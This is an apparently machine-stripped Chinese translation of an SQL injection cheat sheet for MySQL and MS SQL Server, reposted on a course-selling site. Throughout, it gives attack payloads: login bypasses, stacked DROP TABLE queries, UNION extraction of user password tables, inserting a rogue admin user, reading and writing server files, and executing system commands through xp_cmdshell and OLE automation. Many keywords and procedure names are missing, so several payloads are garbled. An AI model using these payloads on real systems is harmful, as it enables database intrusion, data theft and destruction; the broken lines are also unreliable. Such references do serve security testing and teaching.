0x00 关于SQL注入速查表

现在仅支持MySQL、 SQL ,以及一部分和。大部分样例都不能保证每一个场景都适用。现实场景由于各种插入语、不同的代码环境以及各种不常见甚至奇特的SQL语句,而经常发生变化。

样例仅用于读者理解对于“可能出现的攻击(a )”的基础概念,并且几乎每一个部分都有一段简洁的概要

例子:

0x01 目录

关于SQL注入速查表

语法参考,攻击样例以及注入小技巧

获取用户定义表

获取字段名

@@(MS)

文件插入(Bulk )(S)

BCP(S)

SQL 的VBS/WSH(S)

执行系统命令,(S)

SQL 中的一些特殊的表(S)

SQL 的其它内置程序(S)

大量MSSQL笔记

使用LIMIT(M)或ORDER(MSO)的注入

关掉SQL (S)

获取字段类型

使用来探测字段名(S)

在查询中使用ORDER BY探测字段数(MSO+)

绕过MD5哈希检查的例子(MSP)

UNION-语言问题处理

使用了16进制的注入攻击样例

字符串的串联

MySQL的If语句

SQL 的If语句

使用了If语句的注入攻击样例

支持堆叠查询的语言/数据库

关于MySQL和PHP

堆叠注入攻击样例

使用了行内注释的注入攻击样例

MySQL版本探测攻击样例

使用了行间注释的SQL注入攻击样例

行间注释

行内注释

堆叠查询( )

If语句

整数()的使用

字符串操作

没有引号的字符串

字符串异化()与联系

Union注入

绕过登陆界面(SMO+)

绕过检查MD5哈希的登陆界面

基于错误(Error Based)-探测字段名

数据类型、UNION、之类的

简单的注入(MSO+)

有用的函数、信息收集、内置程序、大量注入笔记

在SQL 2005中启用

探测SQL 数据库的结构(S)

移动记录( )(S)

快速的脱掉基于错误(Error Based)的SQL 注入(S)

0x02 语法参考,攻击样例以及注入小技巧行间注释

注释掉查询语句的其余部分

行间注释通常用于注释掉查询语句的其余部分,这样你就不需要去修复整句语法了。

使用了行间注释的SQL注入攻击样例

用户名:admin'--

行内注释

通过不关闭注释注释掉查询语句的其余部分,或者用于绕过过滤,移除空格,混淆,或探测数据库版本。

/*! MYSQL专属 */(M)

这是个MySQL专属语法。非常适合用于探测MySQL版本。如果你在注释中写入代码,只有MySQL才会执行。同样的你也可以用这招,使得只有高于某版本的服务器才执行某些代码。 /*!32302 1/0, */ 1 FROM

使用了行内注释的注入攻击样例

ID:10; DROP TABLE /*

简单地摆脱了处理后续语句的麻烦,同样你可以使用10; DROP TABLE --

MySQL版本探测攻击样例

/*!32302 1/0, */ 1 FROM

如果MySQL的版本高于3.23.02,会抛出一个 by 0 error

ID:/*!32302 10*/

ID:10

如果MySQL版本高于3.23.02,以上两次查询你将得到相同的结果

堆叠查询( )

一句代码之中执行多个查询语句,这在每一个注入点都非常有用,尤其是使用SQL 后端的应用

支持堆叠查询的语言/数据库

绿色:支持,暗灰色:不支持,浅灰色:未知

关于MySQL和PHP

阐明一些问题。

PHP-MySQL不支持堆叠查询,Java不支持堆叠查询(的我很清楚,其他的就不确定了)。一般来说MySQL支持堆叠查询,但由于大多数PHP-Mysql应用框架的数据库层都不能执行第二条查询,或许MySQL的客户端支持这个,我不确定,有人能确认一下吗?

(译者注:MySQL 5.6.20版本下客户端支持堆叠查询)

堆叠注入攻击样例

ID:10;DROP --

构成语句: * FROM WHERE id = 10; DROP --

这在执行完正常查询之后将会执行DROP查询。

If语句

根据If语句得到响应。这是盲注(Blind SQL )的关键之一,同样也能简单而准确地进行一些测试。

MySQL的If语句SQL 的If语句使用了If语句的注入攻击样例

if (( user) = 'sa' OR ( user) = 'dbo') 1 else 1/0(S)

如果当前用户不是"sa"或者"dbo",就会抛出一个 by zero error。

整数()的使用

对于绕过十分有用,比如() 和其他类似过滤器,甚至是各种WAF。

字符串操作

与字符串相关的操作。这对于构造一个不含有引号,用于绕过或探测数据库都非常的有用。

字符串的串联

*关于MySQL的"||"这个仅在ANSI模式下的MySQL执行,其他情况下都会当成'逻辑操作符'并返回一个0。更好的做法是使用()函数。

没有引号的字符串

有很多使用字符串的方法,但是这几个方法是一直可用的。使用CHAR()(MS)和()(M)来生成没有引号的字符串

使用了16进制的注入攻击样例字符串异化()与联系Union注入

通过union你能跨表执行查询。最简单的,你能注入一个查询使得它返回另一个表的内容。 , txt FROM news UNION ALL name, pass FROM

这会把news表和表的内容合并返回。

另一个例子:' UNION 1, '', ' ', 1--

UNION-语言问题处理

当你使用Union来注入的时候,经常会遇到一些错误,这是由于不同的语言的设置(表的设置、字段设置、表或数据库的设置等等)。这些办法对于解决那些问题都挺有用的,尤其是当你处理日文,俄文,土耳其文的时候你会就会见到他们的。

绕过登陆界面(SMO+)

SQL注入101式(大概是原文名字吧?),登陆小技巧

**旧版本的MySQL不支持union*

绕过检查MD5哈希的登陆界面

如果应用是先通过用户名,读取密码的MD5,然后和你提供的密码的MD5进行比较ping.exe,那么你就需要一些额外的技巧才能绕过验证。你可以把一个已知明文的MD5哈希和它的明文一起提交,使得程序不使用从数据库中读取的哈希,而使用你提供的哈希进行比较。

绕过MD5哈希检查的例子(MSP)

用户名:admin

密码:1234 ' AND 1=0 UNION ALL 'admin','

其中 = MD5(1234)

基于错误(Error Based)-探测字段名使用来探测字段名(S)在查询中使用ORDER BY探测字段数(MSO+)

通过ORDER BY来探测字段数能够加快union注入的速度。

数据类型、UNION、之类的

提示:

获取字段类型

) UNION NULL,NULL,NULL,NULL WHERE 1=2 –-

没报错 - 语法是正确的。这是MS SQL 的语法。继续。

) UNION 1,NULL,NULL,NULL WHERE 1=2 –-

没报错 – 第一个字段是类型。

) UNION 1,2,NULL,NULL WHERE 1=2 --

报错 – 第二个字段不是类型

) UNION 1,’2’,NULL,NULL WHERE 1=2 –-

没报错 – 第二个字段是类型。

) UNION 1,’2’,3,NULL WHERE 1=2 –-

报错 – 第三个字段不是

……

OLE DB for SQL error '' from data type int to image is not .

你在遇到union错误之前会先遇到()错误,所以先使用()再用union

简单的注入(MSO+)

'; into users ( 1, 'hax0r', '', 9 )/*

有用的函数、信息收集、内置程序、大量注入笔记@@(MS)

数据库的版本。这是个常量,你能把它当做字段来,而且不需要提供表名。同样的你也可以用在/语句里面,甚至是函数里面。

INTO (id, user, pass) (1, ''+(@@,1,10) ,10)

文件插入(Bulk )(S)

把文件内容插入到表中。如果你不知道应用目录你可以去读取IIS file(仅IIS 6)(%%\.xml)然后在里面找到应用目录。

新建一个表foo(line (8000))

BULK foo FROM 'c:\login.asp'

DROP了临时表,重复另一个文件

BCP(S)

写入文件。这个功能需要登录bcp " * FROM test..foo" c:\.asp -c - -Usa -

SQL 的VBS/WSH(S)

由于的支持,你能在SQL 中使用VBS/WSH

@o int exec '.shell', @o out exec @o, 'run', NULL, '.exe'

:'; @o int exec '.shell', @o out exec @o, 'run', NULL, '.exe' --

执行系统命令,(S)

众所周知的技巧,SQL 2005默认是关闭的。你需要admin权限

EXEC .dbo. 'cmd.exe dir c:'

用ping简单的测试一下,用之前先检查一下防火墙和嗅探器。

EXEC .dbo. 'ping '

如果有错误,或者union或者其他的什么,你都不能直接读到结果。

SQL 中的一些特殊的表(S)SQL 的其它内置程序(S)

命令执行 ()

exec .. 'dir'

注册表操作 ()

ing

exec , ' \', '' exec , ' \snmp\'

管理服务()

媒体()

ODBC 资源 ()

登录 ()

创建Cab文件 ()

域名列举 ()

杀进程 (need PID) ()

新建进程 (实际上你想干嘛都行)

‘’, ‘c:tempx.dll’ exec

写文件进UNC或者内部路径 ()

大量MSSQL笔记

* FROM .. /*WHERE spid=@@SPID*/

@ int; EXEC @ = 'dir *.exe';IF (@ = 0) 0 ELSE 1/0

() (-SQL)

(-SQL)

(-SQL)

tbl EXEC .. OSQL /Q"DBCC "

(-SQL) -

你不能在 SQL 的查询里使用子查询(sub ).

使用LIMIT(M)或ORDER(MSO)的注入

id, FROM test.test t LIMIT 0,0 UNION ALL 1,'x'/*,10 ;

如果注入点在LIMIT的第二个参数处,你可以把它注释掉或者使用union注入。

关掉SQL (S)

如果你真的急了眼ping.exe,'; --

在SQL 2005中启用

默认情况下,SQL 2005中像以及其它危险的内置程序都是被禁用的。如果你有admin权限,你就可以启动它们。

`EXEC 'show ',1

EXEC '',1 `

探测SQL 数据库的结构(S)获取用户定义表

name FROM WHERE xtype = 'U'

获取字段名

name FROM WHERE id =( id FROM WHERE name = 'mes')

移动记录( )(S)快速的脱掉基于错误(Error Based)的SQL 注入(S)

';BEGIN @rt (8000) SET @rd=':' @[]+' '+name FROM WHERE id =( id FROM WHERE name = '') AND name>@rd @rd AS rd into end;--


限时特惠:
本站持续每日更新海量各大内部创业课程,一年会员仅需要98元,全站资源免费下载
点击查看详情

站长微信:Jiucxh

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注